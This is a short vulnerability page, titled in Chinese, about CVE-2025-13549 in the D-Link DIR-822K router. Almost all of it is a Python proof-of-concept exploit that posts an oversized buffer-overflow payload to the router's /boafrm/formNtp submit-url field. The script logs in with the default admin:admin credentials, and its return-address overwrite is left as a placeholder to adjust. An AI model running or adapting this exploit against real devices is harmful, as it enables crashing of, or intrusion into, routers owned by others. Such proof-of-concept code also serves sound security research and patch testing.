CVE-2025-13549 D-Link DIR-822K缓冲区溢出漏洞

#!/usr/bin/env python3 # CVE-2025-13549 PoC - D-Link DIR-822K Buffer Overflow # Target: /boafrm/formNtp submit-url parameter import requests import sys target_ip = sys.argv[1] if len(sys.argv) > 1 else '192.168.0.1' target_port = 80 # Generate payload with 500-byte overflow # Adjust offset based on target firmware version padding = b'A' * 500 padding += b'\x00\x00\x00\x00' # Overwrite return address (adjust) url = f'http://{target_ip}:{target_port}/boafrm/formNtp' headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'Authorization': 'Basic ' + 'YWRtaW46YWRtaW4=' # admin:admin default } data = { 'submit-url': padding.decode('latin-1'), 'save': 'Apply' } print(f'[*] Sending exploit to {url}') print(f'[*] Payload length: {len(padding)} bytes') try: response = requests.post(url, headers=headers, data=data, timeout=10) print(f'[+] Request sent, status: {response.status_code}') except requests.exceptions.RequestException as e: print(f'[-] Request failed: {e}')